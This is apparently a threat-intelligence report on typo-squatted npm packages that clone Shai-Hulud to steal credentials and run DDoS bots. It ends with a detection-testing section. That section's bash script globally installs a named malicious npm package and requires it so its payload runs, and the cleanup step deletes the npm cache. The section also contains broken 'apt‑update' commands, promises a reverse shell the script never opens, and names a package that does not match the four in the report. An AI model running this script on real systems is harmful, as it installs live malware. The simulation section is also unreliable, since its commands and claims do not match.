Shai-Hulud Clones: TeamPCP Copycats Are Here

Summary

Researchers uncovered four malicious npm packages that combine infostealer functionality with distributed denial-of-service capabilities. These packages impersonate popular libraries through typo-squatting and include the open-source Shai-Hulud code modified to use attacker-controlled command-and-control servers. Installing any of the packages can result in theft of credentials, exfiltration of cloud secrets, and in one case, enrollment of the infected host into a DDoS botnet. The findings underscore the growing supply-chain risk within the npm ecosystem.

Investigation

Analysts compared the chalk-tempalte package to the leaked Shai-Hulud source code and found it to be an almost exact, unobfuscated copy configured with a custom command-and-control endpoint. The remaining packages transmitted stolen data to separate malicious domains or to an IP address over port 2222, while one variant also deployed a Go-based local bot service used for DDoS activity. All four packages were published by the same npm account, strengthening the link between them.

Mitigation

Organizations should immediately remove the malicious packages from any projects and delete associated configuration artifacts from developer environments and build systems. All credentials that may have been exposed should be rotated, and network access to the identified malicious domains and IP address should be blocked. Teams should also monitor npm dependencies for typo-squatted packages that mimic the same legitimate libraries.

Response

Defenders should create detections for outbound connections to the identified command-and-control domains and IP address, alert on installation of the four malicious package names, and scan systems for the embedded public key tied to the malware. Any system that installed one of the packages should undergo forensic review to determine whether persistent services, scheduled tasks, or additional payloads were deployed.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:

  1. Initial Recon (optional): The attacker enumerates the victim’s Node.js environment to confirm npm is present.
  2. Malicious Package Acquisition: The attacker downloads a malicious npm package that mimics a legitimate utility (e.g., @deadcode09284814/axios-util).
  3. Installation & Execution: Using a single line, the attacker installs the package globally and immediately executes a JavaScript payload that opens a reverse shell.
  4. Persistence (beyond scope): The attacker could add the malicious package to package.json for future re‑use.

• Regression Test Script: The script reproduces steps 2‑3 exactly, generating the command line strings that the Sigma rule matches.

  # malicious_npm_execution.sh
  # -------------------------------------------------
  # 1️⃣ Ensure Node.js runtime is present
  if ! command -v node >/dev/null 2>&1; then
      echo "[*] Installing Node.js and npm"
      sudo apt‑update && sudo apt‑install -y nodejs npm
  fi
  
  # 2️⃣ Install the malicious npm package (simulated)
  #    (Replace with a real malicious package in a real test)
  MALICIOUS_PKG="@deadcode09284814/axios-util"
  
  echo "[*] Installing malicious package: $MALICIOUS_PKG"
  npm install -g "$MALICIOUS_PKG"
  
  # 3️⃣ Execute a payload that the package ships with
  #    Here we simply require the package; the package's postinstall
  #    script will run the attacker’s code.
  echo "[*] Triggering malicious payload"
  node -e "require('$MALICIOUS_PKG');"
  
  # 4️⃣ Optional: Keep the shell alive for observation
  sleep 30
  echo "[*] Test completed"
  # -------------------------------------------------

• Cleanup Commands: Remove the malicious package and any generated files.

  # cleanup_malicious_npm.sh
  # -------------------------------------------------
  echo "[*] Removing malicious npm package"
  npm uninstall -g "@deadcode09284814/axios-util" || true
  
  # Remove any residual node_modules from the home directory
  rm -rf "$HOME/.npm/_cacache"
  echo "[*] Cleanup complete"
  # -------------------------------------------------